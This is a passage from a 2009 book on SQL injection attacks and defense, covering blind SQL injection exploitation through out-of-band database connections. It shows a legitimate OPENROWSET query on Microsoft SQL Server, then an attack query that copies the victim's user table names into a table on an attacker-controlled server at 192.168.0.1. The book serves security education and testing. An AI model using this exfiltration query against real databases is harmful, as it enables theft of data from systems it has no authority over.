SQL Injection Attacks and Defense - 2009

250 Chapter 5 • Blind SQL Injection Exploitation
SQL query in such a way that they can be carried back to the attacker using one of
the three alternative channels.
Database Connections
The first alternative channel is specific to Microsoft SQL Server and permits an attacker to
create a connection from the victim’s database to the attacker’s database and carry query data
over the connection. This is accomplished using the OPENROWSET command and can
be an attacker’s best friend where available. For this attack to work the victim database must
be able to open a Transmission Control Protocol (TCP) connection to the attacker’s database
on the default port 1433; if egress filtering is in place at the victim or if the attacker is
performing ingress filtering, the connection will fail. However, you can connect to a different
port, simply by specifying the port number after the destination Internet Protocol
(IP) address. This can be very useful when the remote database server can connect back
to your machine on only a few specific ports.
OPENROWSET is used on SQL Server to perform a one-time connection to a remote
OLE DB data source (e.g., another SQL server). One example legitimate usage is to retrieve
data that resides on a remote database as an alternative to link the two databases, which is
better suited to cases when the data exchange needs to be performed on a regular basis.
A typical way to call OPENROWSET is as follows:
SELECT * FROM OPENROWSET('SQLOLEDB', 'Network=DBMSSOCN;
Address=10.0.2.2;uid=sa; pwd=password', 'SELECT review_author FROM reviews')
Here we connected to the SQL server at the address 10.0.2.2 as user sa, and we ran the
query SELECT review_author FROM reviews, whose results are transferred back and visualized
by the outermost query. User sa is a user of the database at address 10.0.2.2, and not of the
database where OPENROWSET is executed. Also note that to successfully perform the
query as user sa, we must successfully authenticate, providing its correct password.
You were introduced to OPENROWSET in Chapter 4, so let’s concern ourselves
mainly with its application to blind SQL injection. Although the example usage retrieves
results from a foreign database with the SELECT statement, we can also use OPENROWSET
to transmit data to a foreign database using an INSERT statement:
INSERT INTO OPENROWSET('SQLOLEDB','Network=DBMSOCN;
Address=192.168.0.1;uid=foo; pwd=password', 'SELECT * FROM
attacker_table') SELECT name FROM sysobjects WHERE xtype='U'
By executing this query, we will select the names of user tables on the local database,
and append such rows into attacker_table which resides on the attacker’s server at address
192.168.0.1. Of course, for the command to complete correctly, attacker_table’s columns
must match the results of the local query, so the table would consist of a single varchar
column.